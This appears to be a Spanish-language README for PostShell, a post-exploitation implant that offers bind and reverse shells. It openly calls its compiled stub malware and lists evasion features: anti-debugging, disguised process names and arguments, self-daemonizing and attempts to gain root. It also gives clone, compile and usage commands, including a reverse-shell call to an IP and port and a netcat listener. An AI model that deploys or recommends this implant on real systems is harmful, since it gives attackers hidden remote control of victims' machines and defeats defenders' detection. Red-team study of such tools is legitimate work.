PostShell

PostShell es un shell de post-explotación que incluye tanto un shell bind como un shell de conexión inversa. Crea un TTY completamente interactivo que permite el control de trabajos. El tamaño del stub es de aproximadamente 14 kb y se puede compilar en cualquier sistema similar a Unix.

Capturas de pantalla

Banner e interacción con el shell después de iniciar una conexión.

¿Por qué no usar un shell Backconnect/Bind tradicional?

PostShell permite una post-explotación más fácil al hacer que el atacante dependa menos de dependencias como Python y Perl. También incorpora tanto un shell de conexión inversa como un shell bind, lo que significa que si un objetivo no permite conexiones salientes, un operador puede simplemente iniciar un shell bind y conectarse a la máquina de forma remota. PostShell es también significativamente menos sospechoso que un shell tradicional debido a que tanto el nombre de los procesos como los argumentos están ocultos.

Características

• Anti-Debugging: si se detecta que ptrace está adjunto al shell, este saldrá.
• Nombres de proceso/hilo ocultos: un nombre falso sobrescribe todos los argumentos del sistema y el nombre del archivo para que parezca un programa legítimo.
• TTY: se crea un TTY que esencialmente permite el mismo uso de la máquina como si estuvieras conectado por SSH.
• Shell Bind/Backconnect: se pueden crear tanto un shell bind como una conexión inversa.
• Tamaño de stub pequeño: generalmente se genera un stub muy pequeño (<14 kb).
• Se demoniza automáticamente
• Intenta establecer GUID/UID en 0 (root)

Primeros pasos

1. Descarga: git clone https://github.com/rek7/postshell
2. Compilación: cd postshell && sh compile.sh Esto debería crear un binario llamado "stub", que es el malware.

Comandos

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Ejemplo de uso

Conexión inversa:

$ ./stub 127.0.0.1 13377

Shell Bind:

$ ./stub 13377

Recibiendo una conexión con Netcat

Recibiendo una conexión inversa:

$ nc -vlp port

Conectando a un shell bind:

$ nc host port

TODO:

• Añadir resolución de dominio